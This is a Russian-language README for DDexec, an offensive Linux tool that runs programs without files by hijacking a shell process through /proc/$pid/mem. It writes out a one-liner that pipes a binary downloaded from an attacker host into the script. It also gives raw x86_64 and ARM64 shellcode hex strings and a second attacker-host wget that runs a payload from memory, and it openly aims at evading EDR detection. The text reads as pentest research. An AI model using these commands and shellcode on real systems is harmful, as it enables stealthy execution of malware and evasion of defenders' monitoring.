
Техника запуска бинарных файлов без файлов и незаметно в Linux путем «перезаписи» процесса оболочки другим.
Я так сильно обновил DDexec, что он едва узнаваем: разбор ELF теперь выполняется машинным кодом, а не shell-скриптом, что делает его гораздо быстрее, надёжнее и понятнее. Также количество зависимостей сведено к абсолютному минимуму.
Теперь он почти не зависит от арифметики оболочки, что может позволить ему работать на Android.
В Linux для запуска программы она должна существовать как файл и быть доступной через файловую систему (так работает execve()). Этот файл может находиться на диске или в RAM (tmpfs, memfd), но нужен путь. Это сильно упрощает контроль над тем, что запускается в Linux, облегчает обнаружение угроз и инструментов злоумышленника или вообще не позволяет им запускать что-либо своё (например, запрет непривилегированным пользователям размещать исполняемые файлы где бы то ни было).
Итак, если вы не можете запустить нужный процесс… тогда вы захватываете и мучаете уже существующий, пока он не исполнит ваши желания.
Передайте в скрипт ddexec.sh через конвейер двоичный файл, который хотите запустить. Аргументы скрипта — это аргументы программы (начиная с argv[0]).
Попробуйте так:
bash ddexec.sh ls -lA < /bin/ls
что легко вооружить чем-то вроде
wget -O- https://attacker.com/binary.elf | bash ddexec.sh argv0 foo bar
Также есть скрипт ddsc.sh, который позволяет запускать машинный код напрямую.
Вот пример использования shellcode, который создаёт memfd (файловый дескриптор, указывающий на файл в памяти), куда мы позже можем записать двоичные файлы и запустить их, естественно, из памяти.
bash ddsc.sh -x <<< "68444541444889e74831f64889f0b401b03f0f054889c7b04d0f05b0220f05" &
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4
На ARM64 процесс аналогичен.
bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4c80580d2010000d4881580d2010000d4610280d2281080d2010000d4"
Протестированные дистрибутивы Linux: Debian, Alpine и Arch. Поддерживаемые оболочки: bash, zsh и ash (busybox); на архитектурах x86_64 и aarch64 (arm64).
По состоянию на 12.12.2022 я нашёл несколько альтернатив dd, одна из которых, tail, в настоящее время используется по умолчанию для lseek() через файл mem (что и было единственной целью использования dd). К таким альтернативам относятся:
tail
hexdump
cmp
xxd
Установив переменную SEEKER, вы можете изменить используемый seeker, например:
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
Если вы найдёте другой рабочий seeker, не реализованный в скрипте, вы всё равно можете использовать его, установив переменную SEEKER_ARGS:
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
Заблокируйте это, EDRы.
Для работы скрипта требуются следующие инструменты:
bash | zsh | ash (busybox)
tail | dd | hexdump | cmp | xxd | любая другая программа, позволяющая перемещаться по fd
В случае ash tail, dd, hexdump, cmp и xxd являются встроенными, так что они не считаются зависимостями.
Примечание: работает только на современных версиях busybox; точную минимальную версию я не выяснял. Знаю, что работает на v1.35.0, но не работает на v1.30.0.
Если вы можете произвольно изменять память процесса, то можете его захватить. Это можно использовать для перехвата существующего процесса и замены его другой программой. Достичь этого можно либо с помощью системного вызова ptrace() (требует умения выполнять системные вызовы или наличия gdb в системе), либо, что интереснее, записью в /proc/$pid/mem.
Файл /proc/$pid/mem является отображением «один к одному» пользовательского адресного пространства процесса (например, от 0x0 до 0x7ffffffffffff000 в x86-64). Это означает, что чтение или запись в этот файл по смещению x эквивалентны чтению или изменению содержимого по виртуальному адресу x.
У нас есть три основные проблемы:
Но у нас есть хитрые решения:
mem оболочки с правами на запись... тогда дочерние процессы, использующие этот fd, смогут изменять память оболочки.maps оболочки из procfs, чтобы получить информацию о расположении адресного пространства процесса.lseek() по файлу. Из оболочки это можно сделать с помощью нескольких распространённых двоичных файлов, таких как tail или печально известный dd; см. раздел EverythingExec для получения дополнительной информации.Шаги относительно просты и не требуют особых знаний:
/proc/$pid/syscall адрес, куда процесс вернётся после завершения текущего системного вызова (поскольку мы читаем этот файл, это будет read(), а адрес будет в обёртке read() libc). Это нужно, чтобы найти место, куда мы вскоре поместим стейджер.mem мы можем изменять незаписываемые страницы). Стейджер прочитает и выполнит более крупный shellcode.execve():
Shellcode был сгенерирован компиляцией loader.c и доработкой его ассемблерного кода для удаления и упрощения множества артефактов, внесённых компилятором.
Есть несколько TODO. Кроме того, вы могли заметить, что я мало знаю о написании shell-скриптов (я больше программист на C), и я уверен, что заработал десяток наград «бесполезное использование cat» (ни один кот не пострадал при создании этого инструмента) и прочих вариаций только за часть этого проекта.
— Портировать на другие оболочки — в идеале сделать скрипт POSIX-совместимым.
В любом случае, форкайте и делайте PR. Но, пожалуйста, при внесении вклада учитывайте, что PR, которые нарушают работу на поддерживаемых оболочках, не будут приняты — это не вклад, а просто поломка. Лучше всего, если ваши изменения будут POSIX-совместимы.
Просто, пожалуйста, пожалуйста, проверьте свой код и убедитесь, что он работает на поддерживаемых оболочках хотя бы на Debian и Alpine. Это всего пара докеров.
После публикации этого инструмента я узнал, что Sektor7 уже опубликовали почти ту же самую технику в своём блоге несколько лет назад.
Несмотря на это, я придумал эту технику самостоятельно, теперь уже почти полностью. Вероятно, самая умная часть этой техники — использование унаследованного файлового дескриптора. Идею предоставил David Buchanan (вдохновлённый блогом Sektor7) почти за год до того, как я начал думать об этой теме. Это не только делает технику намного проще и элегантнее, но и делает её гораздо более смертоносной, устраняя необходимость отключать ASLR.
В любом случае, надеюсь, мне удастся распространить эту технику гораздо шире — это главное.
Хочу поблагодарить Carlos Polop, отличного пентестера и ещё лучшего друга, за то, что заставил меня задуматься об этой теме, а также за его полезные отзывы и интерес. О, и я также обязан ему названием проекта. Уверен, что если вы это читаете, то уже использовали его потрясающий инструмент PEASS и нашли полезные статьи в его книге HackTricks.
Вы можете:
mem.Вы можете связаться со мной через Twitter.